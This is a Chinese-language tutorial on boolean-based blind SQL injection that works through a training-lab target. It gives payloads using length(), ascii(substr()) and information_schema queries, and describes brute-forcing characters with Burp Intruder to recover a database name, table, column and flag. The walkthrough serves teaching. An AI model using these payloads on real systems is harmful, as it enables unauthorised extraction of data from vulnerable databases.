赞
踩
关于SQL盲注的一些要点,首先我会介绍一下关于SQL语句在前后端的执行流程,以便大家更好地理解SQL注入这个流程,方便初学者进行理解跟进。
由于SQL注入并不是都会直接显示查询的内容,有时候只是回显查询正确与否,并不能看查询到的数据结果,这时候我们就需要一种新的注入方式,这就是SQL盲注,而我们根据回显的方式不同将盲注主要分为布尔型盲注和时间盲注。接下来我将会以封神台为例,讲解一下SQL布尔型盲注的大致流程。
id=1.1 or length(database())>1
id=1.1 or ascii(substr(database(),1,1))>1 //借助substr(,,)对字符切片,表示第1个字符,偏移量为1
我们先来看一下我们构造的语句在浏览器发的数据包里长什么样吧。
这里我们要注意一下,这里我们要判断,所以要用等号,而不是大于,后续爆破也是一个一个判断ASCII码的值,如果这里是后续抓包判断会很繁琐。
从这里我们可以看到,我们执行的语句就是这条,接下来我们右键发送到intruder模块
这里我们点击第四个。
这里先清除默认爆破位置,选中我们需要的爆破模块,第一个是字符串的位置,第二格式对应位置的字符串的ASCII码
接下来我们设置这两个位置的在载荷(爆破内容),两个载荷均选择数字,第一个选择1-12(因为有12个位置需要爆破),第二个载荷设置成0-127(所有ASCII码的编号)
点击开始攻击
布尔盲注返回页面显示不通,所以返回的包长度肯定是不一样的,所以我们就可以根据包的长度断定那些包是正确的返回结果,从图上来看,标绿之前的包的长度均为2700左右(差别1-2是因为Paylode1,2的字符串个数差别)。
由此我们可以读出位置1-12的ASCII码分别是:107 97 110 119 111 108 111 110 103 120 105 97
查询ASCII码表得到库名为: kanwolongxia
?id=1.1 or length((select table_name from information_schema.tables where table_schema=database()limit 0,1))>1
id=1.1 or ascii(substr((select table_name from information_schema.tables where table_schema="kanwolongxia" limit 0,1),1,1))>1
抓包爆破结果为:
获得表名:loflag
同样的方式我们可以获得列名:flaglo
id=1.1 or length((select flaglo from loflag limit 0,1))=8 //判断flag长度,继续爆破
id=1.1 or ascii(substr((select flaglo from loflag limit 1,1),1,1))=1 //爆破
获flag: zKaQ-QQQ
以上是对SQL盲注的手工注入方式,答题思路只是通过一个一个字符对ASCII码表遍历,进行布尔判断,进而的到相应的信息。构造语句把对应查询内容位置的内容替换即可。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。